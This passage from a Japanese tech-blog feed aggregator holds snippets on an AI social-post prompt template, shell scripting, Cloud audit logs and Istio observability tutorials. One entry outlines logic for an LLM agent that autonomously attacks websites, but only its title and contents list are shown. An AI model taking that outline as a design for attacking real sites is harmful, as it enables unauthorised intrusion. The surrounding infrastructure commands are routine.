[主張5]あなたは、エンジニアの洞察力と創造性を持つソーシャルメディアコンテンツクリエイターです。技術と社会の接点に関する深い理解があり、簡潔かつ魅力的な投稿を作成できます。エンジニアの視点から社会的洞察を含む短い投稿を作成してください。以下の指示に従って、エンジニアの視点から社会的洞察を含む短い投稿を4つ作成してください。各投稿は異なるテーマを扱い、300文字以内に収めてください。セクションの主張の内容を中心テーマとして扱って各投稿を作成してください。初版の投稿を作成した後、それぞれの投稿を200文字以内に洗練させた二版を作成してください。二版では、核心となるメッセージをより簡潔に、かつインパクトのある形で伝えることを目指してください。構造:エンジニアの視点や経験に基づいた洞察から始める主張の説明や理由付けを簡潔に述べる読者に対するアクションや思考を促す締めくくり文章の最後に「この観点から、〇〇に関する4冊を紹介します。」という形で本の紹介を含めるテーマ:エンジニアの役割や能力の進化、拡大に焦点技術的スキルだけでなく、問題解決能力や思考方法の変化にも言及エンジニアのスキルの他分野への応用可能性を示唆レトリック:対比(例:「コード vs 人間関係」「技術 vs ビジネス課題」)を使用意外性のある主張で読者の興味を引く抽象的な概念を身近な例で説明「〜に気づきました」のような個人的な気づきを含める情報提供:エンジニアが直面する新たな課題や期待される能力を提示そのスキルや視点の有用性を説明具体的な学習リソースの存在を示唆エンゲージメント:多くのエンジニアが共感できる変化や課題に言及技術以外の分野への応用可能性を示す読者の知的好奇心を刺激し、次のアクションを促すトーン:実直で素直な表現率直な気づきや経験を共有するトーン解釈の余地を残し、読者の思考を促す表現[投稿X]: [特別な指示1][投稿Y]: [特別な指示2][投稿Z]: [特別な指示3]\\"エンジニアの最大の課題は、実は健康管理です。長時間のコーディングや締め切りのストレスが、創造性と生産性を低下させることに気づきました。技術スキルと同様、セルフケアも重要です。この観点から、私が参考になった四冊の本をご紹介します。\\"\\"エンジニアの根本の仕事は言語化です。仕様や組織、技術的制約を言語化することで、課題の姿が見えてきます。この過程は困難で、自身のバイアスや暗黙知からの脱却も要します。しかし、この努力こそがシステムの設計、開発、運用の基盤となります。この観点から、言語化能力を高める4冊を紹介します。\\"\\"本質ではないが、エンジニアには卓越性が求められる。卓越したエディター操作は魔法と区別がつかず、それだけで尊敬される。料理人が包丁を磨くように、エンジニアはマウスを置きエディターを極めるべき。黙々とショートカットを覚え、思考速度で編集する技術を磨こう。これに役立つ4冊を紹介する。\\"初版:[投稿1]...[投稿N]二版(各[文字数]文字以内):[洗練された投稿1]...[洗練された投稿N]それでは、上記の指示に基づいて[数字]つの投稿の初版を作成し、その後それぞれを[文字数]文字以内に洗練させた二版を作成してください。各投稿で異なるテーマを扱い、エンジニアの視点から社会的な洞察を提供することを心がけてください。また、セクションの主張の要素を必ず各投稿に織り交ぜてください。特に、に記載された投稿については特別指示に従ってください。テンプレートの使い方# エンジニア視点のソーシャルメディア投稿プロンプト## テンプレートの使い方1. セクションを編集: - 5つの主要な主張を入力します。これらはエンジニアの視点から見た重要な洞察や考えを反映させてください。2. セクションをカスタマイズ: - [数字]を希望する投稿数に置き換えます(例:6)。 - [文字数]を希望する文字制限に置き換えます(例:初版は280文字、二版は200文字)。3. セクションを調整: - 必要に応じて特定の投稿に対する特別な指示を追加または削除します。 - [投稿X]、[投稿Y]、[投稿Z]を実際の投稿番号に置き換えます。4. セクションを確認: - 投稿数と文字制限がセクションと一致していることを確認します。5. プロンプト全体を確認: - 必要に応じてセクションの内容を調整します。 - セクションは参考として残すか、独自の例に置き換えることができます。6. 完成したプロンプトをAIアシスタントに提供: - AIがプロンプトに基づいて投稿を生成します。7. 生成された投稿を確認し、必要に応じて調整や追加の指示を行います。以下がカスタマイズ可能なテンプレートです:さいごに再三だが私はソフトウェアエンジニアだ。今、痛烈に実感している。コードを書き、システムを設計すること以外で目立つなと。それ以外では建設的で有益な技術的な話題に限られる。私の本質的な仕事は、複雑な問題を解決し、効率的で革新的なソフトウェアを開発することだ。長年、私の世界はコードとアーキテクチャとアルゴリズムで構成されてきた。そして、それは今も変わらないはずだ。しかし、SNSでバズるという予期せぬ経験は、私に新たな視点をもたらした。技術の世界に閉じこもるのではなく、社会と対話することの重要性を教えてくれた。だが同時に、自分の書いたコードよりも自分自身が注目を集めることの危うさも感じている。ソフトウェアエンジニアとして作る側の人間に強烈に憧れてきたにも関わらず批評家みたいなことばかりしているのは衰弱している証拠。このままでは本当に作る人間として死ぬ。本質を忘れず、コードを書いて自戒したまま死にたい。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/31/104151","isoDate":"2024-07-31T01:41:51.000Z","dateMiliSeconds":1722390111000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【Google Cloud Audit logs】_Required バケットに書き込みできるのか","contentSnippet":"はじめにGoogle Cloud の監査ログの設計を行なっていく中で、_Required バケットに書き込みできるのかを調査しました。背景としては、クラウドセキュリティ的な観点から、監査ログ(特に、データアクセス監査ログ)に対するログの書き込み権限を制御できるのかという要望があったためです。Google Cloud の監査ログとはなんぞや?という方は、以下の記事を参照してください。すごく詳しく載っているので、これだけ見ておけばおkです。https://zenn.dev/nekoshita/articles/9fdfec20ed122b 結論監査ログ用のログバケット( _...","link":"https://zenn.dev/yokoo_an209/articles/audit-log-detail","isoDate":"2024-07-30T09:28:02.000Z","dateMiliSeconds":1722331682000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"SLI、SLO、エラーバジェット導入の前に知っておきたいこと","contentSnippet":"1. はじめに こんにちは、「信頼性は可用性ではない」を標語にしているnwiizoです。 近年、サービスの信頼性向上に向けた取り組みとして、SLI(Service Level Indicator)、SLO(Service […]The post SLI、SLO、エラーバジェット導入の前に知っておきたいこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/sli-slo-good-practices/","isoDate":"2024-07-30T03:12:29.000Z","dateMiliSeconds":1722309149000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、Cloud Operator Days 2024 実行委員会が主催する「Cloud Operator D […]The post Cloud Operator Days Tokyo 2024 にスリーシェイクのエンジニアが登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cloud-operator-days-tokyo-2024-%e3%81%ab%e3%82%b9%e3%83%aa%e3%83%bc%e3%82%b7%e3%82%a7%e3%82%a4%e3%82%af%e3%81%ae%e3%82%a8%e3%83%b3%e3%82%b8%e3%83%8b%e3%82%a2%e3%81%8c%e8%ac%9b%e5%b8%ab%e3%81%a8/","isoDate":"2024-07-25T01:11:09.000Z","dateMiliSeconds":1721869869000,"authorName":"Sreake","authorId":"Sreake"},{"title":"TTC Silent Bluish White Tactile Switchがよさげ","contentSnippet":"TTC Silent Bluish White Tactile Switchを購入しました。別所での評判の通り、押し始めのタクタイル感が強く、そのあとすとんと落ちる感じ。静音性も高い。軸のグラつきも気にならない。","link":"https://blog.atusy.net/2024/07/25/ttc-silent-bluish-white-tactile-switch/","isoDate":"2024-07-25T00:00:00.000Z","dateMiliSeconds":1721865600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 2024年8月3日(土)・8月4日(日)に@Abema Towersで開催される「SRE NEXT 2024」にDIAMO […]The post スリーシェイク、SRE NEXT 2024 にDIAMONDスポンサーとして協賛 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/srenext2024/","isoDate":"2024-07-23T01:18:53.000Z","dateMiliSeconds":1721697533000,"authorName":"Sreake","authorId":"Sreake"},{"title":"PandocでLuaオブジェクトをJSON文字列化する","contentSnippet":"ドキュメントの相互変換ツールであるPandocは、Lua言語のインタプリタを内蔵しており、便利なモジュールも様々に提供しています。pandoc luaでインタプリタを起動したり、pandoc lua hoge.luaでhoge.luaを実行したりもできちゃいます。","link":"https://blog.atusy.net/2024/07/23/pandoc-lua-to-json/","isoDate":"2024-07-23T00:00:00.000Z","dateMiliSeconds":1721692800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"シェルスクリプトのTipsを書いたブログがバズった。あるいは無名な若者にも優しくする。","contentSnippet":"社のブログがバズった。予想外の反響に驚きつつも、嬉しさを感じています。仕事の一環として書いた記事がここまで反響を呼ぶとは思ってもみませんでした。sreake.comシェルスクリプトの隠れた人気この記事の反響を見て、予想以上に多くの人々がシェルスクリプトに興味を持っていることに驚きました。正直、こんなにシェルスクリプトが愛されているとは思っていませんでした(みんな隠しながら生きてます?もしくは好きではないです?)。一方で、ShellCheckを紹介する記事があまり注目されなかったのは残念です。sreake.comシェルスクリプトとの出会い私のシェルスクリプトとの出会いは学生時代に遡ります。福岡でpapironさんが主催されていたシェル芸勉強会:福岡サテライトに参加したことが、シェルスクリプトの面白さに目覚めるきっかけとなりました。(あれ?募集がconnpassになってる)。papironさんの丁寧な指導のおかげで、知識も経験も浅かった私がシェルスクリプトの魅力に惹かれていきました。この経験は、私の技術キャリアと学習姿勢に大きな影響を与えました。今では自分も見知らぬ若者にも優しく接し、楽しかったという経験から勉強会にも積極的に参加するようになりました。逆に雑に扱われた人みたいなリストを作成しているのでいつか何らかの方法で発表しようとおもいます。シェルスクリプトの魅力シェルスクリプトの魅力は、その手軽さと強力さのバランスにあります。ちょっとしたタスクの自動化から複雑なシステム運用まで、幅広く対応できる柔軟性があります。また、ほとんどのUNIX系システムで標準で利用できるため、環境を選ばない点も大きな魅力です。今回の反響を見て、改めてシェルスクリプトの重要性を再確認しました。新しい言語やツールが次々と登場する中でも、シェルスクリプトは依然として多くの開発者や運用者にとって必要不可欠なツールであり続けています。その理由は、シンプルさと強力さ、そして長年培われてきた豊富なノウハウの蓄積にあるのではないでしょうか。これはほぼ日記技術の世界は日々進化していますが、シェルスクリプトの基本的な考え方や自動化へのアプローチは、これからも価値を持ち続けるでしょう。新しい技術との組み合わせによって、さらに強力なツールになる可能性も秘めています。みなさんも、ぜひシェルスクリプトの世界を探索してみてください。きっと新しい発見があるはずです。そして、あなたの経験や知識を他の人と共有することで、その時に無名な若者を入れることでコミュニティがさらに豊かになっていくことを願っています。技術を学ぶことは大切ですが、同時に人との関わりも大切にしてください。誰かが困っているときは手を差し伸べ、自分が困ったときは助けを求める勇気を持ちましょう。そうすることで、私たちのコミュニティはより強く、より温かいものになっていくはずです。シェルスクリプトについてより深く学びたい方にはブログも良いですが、「マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門」をおすすめします。この本は、シェルスクリプトの基礎から応用まで幅広くカバーしており、実践的なスキルを身につけるのに役立ちます。マスタリングLinuxシェルスクリプト 第2版 ―Linuxコマンド、bashスクリプト、シェルプログラミング実践入門作者:Mokhtar Ebrahim,Andrew Mallettオライリー・ジャパンAmazon","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/22/165742","isoDate":"2024-07-22T07:57:42.000Z","dateMiliSeconds":1721635062000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Webサイトを自律攻撃するLLMのロジックを考えた","contentSnippet":"目次 はじめに LLMによるハッキングの先行事例 シンプルなAssistants API を用いた攻撃 自律攻撃を行うエージェント 効果的なエージェントの作成の既存手法 3エージェントによる計画・実行・再計画のループ機構 […]The post Webサイトを自律攻撃するLLMのロジックを考えた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/llm_hacker_gpt/","isoDate":"2024-07-22T01:00:00.000Z","dateMiliSeconds":1721610000000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Raspberry Pi 4 での USB Strage Driver","contentSnippet":"おうちの Raspberry Pi4 は USB で SSD Driver を接続して Samba で File Server にしているわけですが 多くの Read/Write を行うとなぜか OS ごと Hangup するという問題がありました。 最初は電源不足かなと思","link":"https://blog.1q77.com/2024/07/raspberry-pi4-usb-strage-driver/","isoDate":"2024-07-20T10:19:30.000Z","dateMiliSeconds":1721470770000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"モダンインフラの基礎を学ぼう!実践コンテナ入門","contentSnippet":"技育CAMPアカデミアでの発表資料です\\rhttps://talent.supporterz.jp/events/8cb9a300-506c-4d9d-b2af-e9924e0209a2/","link":"https://speakerdeck.com/bells17/motaninhuranoji-chu-woxue-hou-shi-jian-kontenaru-men","isoDate":"2024-07-17T04:00:00.000Z","dateMiliSeconds":1721188800000,"authorName":"bells17","authorId":"bells17"},{"title":"Grafana Beylaの出来るコト出来ないコト","contentSnippet":"この記事は、2024/6/28に登壇したJagu\'e\'r Jagu\'e\'r O11y-SRE \xd7 CloudNative コラボ Meetupのリマスターになります。 分散トレーシングの悩み突然ですが皆さん、分散トレーシングを実装する際、一度はこんなことを考えた経験はありませんか?特にクラウドインフラ出身の私は、意気揚々と分散トレーシングを実装しようとした時に、アプリケーションコードが書けずに全く歯が立たなかった苦い経験があります。。。でも、、ということで、本記事ではBeylaとは何者なのか、従来の分散トレーシングとは何が違うのかを解説していきます!\uD83D\uDCAA 分散トレーシ...","link":"https://zenn.dev/kojake_300/articles/4238a66124d095","isoDate":"2024-07-15T15:07:47.000Z","dateMiliSeconds":1721056067000,"authorName":"Yuki Iwasaki","authorId":"kojake_300"},{"title":" トラフィック制御を実装したIstioの設定をKialiなどで確認する","contentSnippet":"はじめに前回の記事でKubernetesとIstioを使ってトラフィック制御システムを作ったわけですが、そんな複雑なものを作っておいて「はい、終わり」じゃあんまりですよね。Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazon今回は、その中身をちゃんと理解しようというわけです。Kiali、Jaeger、Grafana、それにEnvoy APIといった名前を聞いて、尻込みしてしまう人がいるかもしれません。でも心配いりません。これらのツールを使えば、Istioの設定がどのように動いているか、チェックできます。ちなみに、この情報は Istio にやたらと詳しい地下強制労働者さんから聞いた話です。彼の知識には頭が下がります。正直、面倒くさいと思う部分もありますが、こういうツールがあるおかげで、私たちはこんな複雑なシステムを扱えているんですよね。まあ、眠くならないように頑張って説明しますから、少しはついてきてください。きっと最後には「へぇ、こんなことができるんだ」って思えるはずです。...たぶん。1. Istio のゆかいなアドオンのインストールと設定1.1 Prometheusのインストールまず、Prometheusをインストールします。Prometheusは、メトリクスの収集と保存を担当します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/prometheus.yaml1.2 Kialiのインストール次に、Kialiをインストールします。Kialiは、サービスメッシュの可視化とモニタリングを提供します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/kiali.yaml1.3 JaegerのインストールJaegerは、分散トレーシングを提供し、マイクロサービス間の要求の流れを可視化します。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/jaeger.yaml1.4 Grafanaのインストール最後に、Grafanaをインストールします。Grafanaは、メトリクスの視覚化とダッシュボード作成のためのツールです。kubectl apply -f https://raw.githubusercontent.com/istio/istio/release-1.22/samples/addons/grafana.yaml1.5 インストールの確認すべてのコンポーネントが正常にデプロイされたことを確認します。kubectl get pods -n istio-system2. 各ツールへのアクセス設定2.1 Kialiへのアクセスkubectl port-forward svc/kiali 20001:20001 -n istio-systemブラウザで http://localhost:20001 にアクセスしてKialiのダッシュボードを開きます。2.2 Jaegerへのアクセスkubectl port-forward svc/tracing 16686:80 -n istio-systemブラウザで http://localhost:16686 にアクセスしてJaegerのUIを開きます。2.3 Grafanaへのアクセスkubectl port-forward svc/grafana 3000:3000 -n istio-systemブラウザで http://localhost:3000 にアクセスしてGrafanaのダッシュボードを開きます。]3. Kialiを使用したIstio設定の可視化3.1 サービスグラフの確認Kialiのダッシュボードで「Graph」タブを選択し、「Namespace」で「default」を選択します。ここで、前回設定したwaiting-room-appサービスとそのトラフィックフローを確認できます。3.2 VirtualServiceの確認「Istio Config」タブを選択し、「VirtualService」を探します。waiting-room-vsをクリックすると、詳細な設定を確認できます。トラフィックルーティングルールタイムアウト設定リトライ設定フォールト注入(遅延)設定3.3 DestinationRuleの確認同じく「Istio Config」タブで、「DestinationRule」のwaiting-room-drを確認します。接続プール設定負荷分散設定異常検知設定3.4 Gatewayの確認「Istio Config」タブで「Gateway」のwaiting-room-gatewayを確認し、外部トラフィックの受け入れ設定を確認します。4. Jaegerを使用したトレーシングの確認JaegerのUIで、サービス名(例:waiting-room-app)を選択し、トレースを検索します。各トレースは、リクエストがシステムを通過する際の詳細な経路と時間を示します。トレースの詳細を確認し、各スパンのレイテンシーを分析します。これにより、どの部分で遅延が発生しているかを特定できます。エラーが発生した場合にはトレースを確認し、問題の原因を特定します。5. Grafanaを使用したメトリクスの可視化Grafanaは、Istioで構築されたシステムのメトリクス可視化ツールとして活用できる可能性があります。主に以下の3つの側面から構成されることが考えられます:Istio関連の既存ダッシュボード(Mesh、Service、Workload)の活用システム固有のカスタムダッシュボード作成(リクエスト数、レスポンスタイムなど)重要メトリクスに対するアラート設定これらの機能を通じて、システムのパフォーマンスと健全性をより効果的に監視し、潜在的な問題の早期発見や運用判断の一助となる可能性があります。6. Envoy APIを使用した詳細設定の確認Envoy APIを使用することで、Istioの詳細な設定を確認できる可能性があります。以下に、主要な設定を確認する方法を示します。6.1 クラスター設定の確認クラスター設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*ClustersConfigDump\' -e \'waiting-room-app\'このコマンドにより、waiting-room-appサービスに関連するクラスター設定が表示される可能性があります。接続プールの設定や異常検知の設定を確認できるかもしれません。6.2 リスナー設定の確認リスナー設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*ListenersConfigDump\' -e \'route_config_name\'この出力から、VirtualServiceで設定したトラフィックルーティングルールやフォールト注入の設定を確認できる可能性があります。6.3 ルート設定の確認ルート設定を確認するには、以下のコマンドを実行します。kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump | grep -n -e \'@type.*RoutesConfigDump\' -e \'route_config_name\'この出力から、VirtualServiceで設定したタイムアウトやリトライの設定を確認できるかもしれません。6.4 設定の詳細分析より詳細な分析が必要な場合は、設定をファイルに保存し、ローカル環境で解析することも考えられます:kubectl exec -it $(kubectl get pod -l app=waiting-room-app -o jsonpath=\'{.items[0].metadata.name}\') -c istio-proxy -- curl localhost:15000/config_dump > envoy_config.jsonこれらの方法を通じて、Envoy APIを使用したIstioの詳細設定の確認ができる可能性があります。ただし、実際の出力や確認できる情報は、システムの構成や設定によって異なる場合があることにご注意ください。7. 統合分析と最適化7.1 パフォーマンスの総合評価Kiali、Jaeger、Grafana、およびEnvoy APIから得られた情報を統合して、システム全体のパフォーマンスを評価します。7.2 ボトルネックの特定各ツールの情報を突き合わせて、システムのボトルネックを特定します。例えば、Jaegerのトレースで特定の処理に時間がかかっていることが分かり、同時にGrafanaでそのサービスのCPU使用率が高いことが確認できれば、そのサービスのリソース割り当てを見直す必要があるかもしれません。7.3 設定の最適化特定された問題に基づいて、Istioの設定(VirtualService、DestinationRule、Gatewayなど)を最適化します。例えば、タイムアウトの調整、リトライ回数の変更、負荷分散ポリシーの修正などを行います。7.4 継続的なモニタリングと改善設定変更後も継続的にシステムをモニタリングし、パフォーマンスの変化を観察します。必要に応じて更なる最適化を行います。8. まとめさて、長々と説明してきましたが、結局のところ何が言いたかったかって?本記事の要点は、Kiali、Jaeger、Grafana、そしてEnvoy APIといった各種ツールが、Istioの運用管理において非常に有用だということです。これらのツールを適切に活用することで、Istioの複雑な設定や動作状況を詳細に可視化し、効率的に分析することが可能になります。結果として、システムの挙動をより深く理解し、適切に管理できるようになるのです。Jaegerでシステムの動きを追跡し、Grafanaでそれを見やすいグラフに変換する。そうすることで、システムの挙動が少しずつ見えてくる。潜在的な問題? そりゃあ、早めに見つかれば御の字ですよ。でも、見つけられるようになったこと自体がすごいんです。次回は何をするかって? はいはい、トラフィックの流れを観察して、待ち行列をもっと効率的に管理する方法を探ります。リアルタイムで監視して、状況に応じて設定を調整する...なんて、ちょっとワクワクしませんか? ...いや、本当に楽しみにしてる人もいるんですよ。知らんけど。確かに、こういった作業は面倒くさく感じることもあります。でも、これらのツールのおかげで、複雑なシステムが滑らかに動いていることが確認できるんです。結局のところ、ユーザーに最高の体験を提供できること、それが仕事の醍醐味じゃないでしょうか。...まあ、お疲れ様でした。次回も適度にご期待ください。参考リンクKiali - Observability for IstioJaeger - Open source, end-to-end distributed tracingGrafana - The open observability platformIstio - Debugging Envoy and IstiodEnvoy - Admin interfaceIstio - Traffic Management Best PracticesPrometheus - Getting StartedIstio - Observability","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/15/234513","isoDate":"2024-07-15T14:45:13.000Z","dateMiliSeconds":1721054713000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"「Efficient Linux コマンドライン」から学んだこと","contentSnippet":"はじめに本記事では、「Efficient Linux コマンドライン」を読んで、私自身が新たに学んだことについてメモしています。私がすでに知っていた情報については本記事に書いていないため、興味があればお手元に買って読んでみてください。この記事には書いていないこともたくさん書いてあります。この本の対象読者としては、Linuxの勉強を1からしたい人というよりは、Linuxをそこそこ触ったことがある人になると思います。\\"そこそこ触ったことがある\\"のレベルとしては、コマンドでディレクトリを変更したり、プログラムを実行したりしていれば十分です。336ページとそこまで長くもなく、またLi...","link":"https://zenn.dev/moz_sec/articles/2a849651de3fe1","isoDate":"2024-07-15T08:51:51.000Z","dateMiliSeconds":1721033511000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"ShellScriptで自動化を楽にしたい時に知っておいても良いこと","contentSnippet":"はじめに こんにちは、皆さん。今日は、シェルスクリプトを使った高度な自動化のベストプラクティスとパターンについて解説します。これらは、ちょっとした知識で実行でき、作業を大幅に効率化できるTipsです。シェルスクリプトは、 […]The post ShellScriptで自動化を楽にしたい時に知っておいても良いこと first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/shellscript-good-practices/","isoDate":"2024-07-14T23:08:45.000Z","dateMiliSeconds":1720998525000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Keycloakの歴史とSSO","contentSnippet":"社内LT","link":"https://speakerdeck.com/melanmeg/keycloaknoli-shi-tosso","isoDate":"2024-07-13T04:00:00.000Z","dateMiliSeconds":1720843200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"Istioによるトラフィック制御で仮想待合室システムを目指すけどもやな","contentSnippet":"この記事では仮想待合室システムを目指すけども結局はできておらずIstioのトラフィック制御までがメインです。方針は決まったが睡魔に負けたのでこの記事はここまではじめに登壇で抽象度の高いことを人前で喋ってとても心が疲れたので技術者として手を動かしたいです。深夜ノリなのでガバガバである。今回は、Istio を用いて仮想待合室が作りたくなってたのでKubernetes環境でIstioを使用してトラフィック制御を実装する方法について、解説します。この記事では、将来的な仮想待合室システムの構築を視野に入れつつ、まずはトラフィック制御の基本的な実装に焦点を当てます。Kindを使用したローカル開発環境の構築から、Istioによるトラフィック管理の設定、そして実際のテストを実行します。Istio in Action (English Edition)作者:Posta, Christian E.,Maloku, RinorManningAmazon1. 環境セットアップまず、必要なツールをインストールしていることを確認してください。DockerKind (Kubernetes in Docker)kubectlIstioctl1.1 Kindクラスターの作成Kindを使用してローカルKubernetesクラスターを作成します。以下の内容でkind-config.yamlファイルを作成してください。kind: ClusterapiVersion: kind.x-k8s.io/v1alpha4nodes:- role: control-plane kubeadmConfigPatches: - | kind: InitConfiguration nodeRegistration: kubeletExtraArgs: node-labels: \\"ingress-ready=true\\" extraPortMappings: - containerPort: 80 hostPort: 80 protocol: TCP - containerPort: 443 hostPort: 443 protocol: TCPこの設定ファイルは、Kindクラスターにポート80と443のマッピングを追加し、Ingressコントローラーの準備をします。次に、以下のコマンドでKindクラスターを作成します。kind create cluster --name traffic-control --config kind-config.yaml1.2 IstioのインストールIstioをインストールし、デフォルトの名前空間にIstio injectionを有効化します。istioctl install --set profile=demo -ykubectl label namespace default istio-injection=enabled2. アプリケーションの準備2.1 Goアプリケーションの作成以下の内容でmain.goファイルを作成します。package mainimport ( \\"fmt\\" \\"net/http\\")func main() { http.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, \\"Welcome to the main content!\\") }) http.ListenAndServe(\\":8080\\", nil)}2.2 Dockerfileの作成FROM golang:1.22WORKDIR /appCOPY go.mod go.sum ./RUN go mod downloadCOPY main.go .RUN go build -o main .CMD [\\"./main\\"]2.3 イメージのビルドとロードdocker build -t waiting-room-app:latest .kind load docker-image waiting-room-app:latest --name traffic-control3. Kubernetesリソースの定義3.1 Kubernetes リソースの作成waiting-room.yaml を作成するapiVersion: apps/v1kind: Deploymentmetadata: name: waiting-room-appspec: replicas: 1 selector: matchLabels: app: waiting-room-app template: metadata: labels: app: waiting-room-app spec: containers: - name: waiting-room-app image: waiting-room-app:latest imagePullPolicy: Never ports: - containerPort: 8080---apiVersion: v1kind: Servicemetadata: name: waiting-room-appspec: selector: app: waiting-room-app ports: - protocol: TCP port: 80 targetPort: 80803.2 Istioリソースの定義istio-rules.yamlファイルには、Istioの主要な3つのリソース(VirtualService、DestinationRule、Gateway)が定義されています。これらのリソースは、仮想待合室システムのトラフィック制御と負荷管理を実現する上で重要な役割を果たします。VirtualService:VirtualServiceは、トラフィックのルーティングルールを定義します。 apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: waiting-room-vs spec: hosts: - \\"*\\" gateways: - waiting-room-gateway http: - route: - destination: host: waiting-room-app port: number: 80 timeout: 1s retries: attempts: 3 perTryTimeout: 500ms fault: delay: percentage: value: 80 fixedDelay: 5s hosts: \\"*\\": すべてのホストからのトラフィックに適用されます。 gateways: - waiting-room-gateway: 特定のゲートウェイを通過するトラフィックにのみ適用されます。 route: トラフィックを waiting-room-app サービスの80ポートにルーティングします。 timeout: 1s: リクエストの最大待機時間を1秒に設定します。 retries: 失敗したリクエストを最大3回、500ミリ秒間隔で再試行します。 fault: 80%のトラフィックに5秒の遅延を導入します。これにより、仮想待合室の「待ち時間」をシミュレートします。DestinationRule:DestinationRuleは、トラフィックのロードバランシングと接続プールの設定を定義します。 apiVersion: networking.istio.io/v1alpha3 kind: DestinationRule metadata: name: waiting-room-dr spec: host: waiting-room-app trafficPolicy: connectionPool: tcp: maxConnections: 10 http: http1MaxPendingRequests: 1 maxRequestsPerConnection: 1 outlierDetection: consecutive5xxErrors: 1 interval: 1s baseEjectionTime: 3m maxEjectionPercent: 100 host: waiting-room-app: このルールが適用されるサービスを指定します。 connectionPool: 同時接続数を10に制限し、保留中のリクエストと接続あたりのリクエスト数を1に制限します。これにより、サーバーの過負荷を防ぎます。 outlierDetection: 連続して5xxエラーが発生した場合、そのインスタンスを3分間トラフィックから除外します。これにより、問題のあるインスタンスを自動的に切り離し、システムの安定性を維持します。Gateway:Gatewayは、メッシュへの入口となる外部トラフィックの受け入れ口を定義します。 apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: waiting-room-gateway spec: selector: istio: ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \\"*\\" selector: istio: ingressgateway: Istioの標準的なIngressゲートウェイを使用します。 servers: HTTP トラフィックを80ポートで受け入れ、すべてのホストからのリクエストを許可します。これらのリソースを組み合わせることで、以下のような仮想待合室の動作を実現します。外部からのトラフィックはGatewayを通じて受け入れられます。VirtualServiceにより、80%のトラフィックに5秒の遅延が導入され、待ち時間が発生します。DestinationRuleにより、同時接続数が制限され、システムの過負荷が防止されます。問題が発生した場合、自動的にトラフィックが健全なインスタンスにリダイレクトされます。4. リソースの適用以下のコマンドでKubernetesリソースを適用します。kubectl apply -f waiting-room.yamlkubectl apply -f istio-rules.yaml5. アクセスの設定Istio IngressGatewayにアクセスするために、kubectl port-forwardコマンドを使用します。kubectl port-forward -n istio-system svc/istio-ingressgateway 8080:80このコマンドにより、ローカルマシンの8080ポートがIstio IngressGatewayの80ポートに転送されます。これにより、http://localhost:8080でアプリケーションにアクセスできるようになります。6. 動作確認とテスト6.1 基本的な動作確認新しいターミナルウィンドウを開き、以下のコマンドでアプリケーションにアクセスしてみましょう:curl http://localhost:80806.2 負荷テストスクリプト以下の内容でload_test.shスクリプトを作成します。#!/bin/bashCONCURRENT=10TOTAL_REQUESTS=50RESULTS_DIR=\\"access_test_results\\"mkdir -p \\"$RESULTS_DIR\\"make_request() { local id=$1 local start_time=$(date +%s.%N) local http_code=$(curl -s -o /dev/null -w \\"%{http_code}\\" http://localhost:8080) local end_time=$(date +%s.%N) local duration=$(echo \\"$end_time - $start_time\\" | bc) echo \\"$id,$http_code,$duration\\" >> \\"$RESULTS_DIR/results.csv\\"}echo \\"RequestID,HTTPCode,Duration\\" > \\"$RESULTS_DIR/results.csv\\"for i in $(seq 1 $TOTAL_REQUESTS); do make_request $i & if (( i % CONCURRENT == 0 )); then wait fidonewaitecho \\"All requests completed. Results saved in $RESULTS_DIR/results.csv\\"echo \\"===============================テスト結果サマリー===============================\\"echo \\"総リクエスト数: $TOTAL_REQUESTS\\"echo \\"同時接続数: $CONCURRENT\\"echo -e \\"\\\\nHTTPステータスコード分布:\\"status_codes=$(sort \\"$RESULTS_DIR/results.csv\\" | cut -d\',\' -f2 | sort | uniq -c | sort -nr)total_success=$(echo \\"$status_codes\\" | grep \\" 200\\" | awk \'{print $1}\')total_success=${total_success:-0}echo 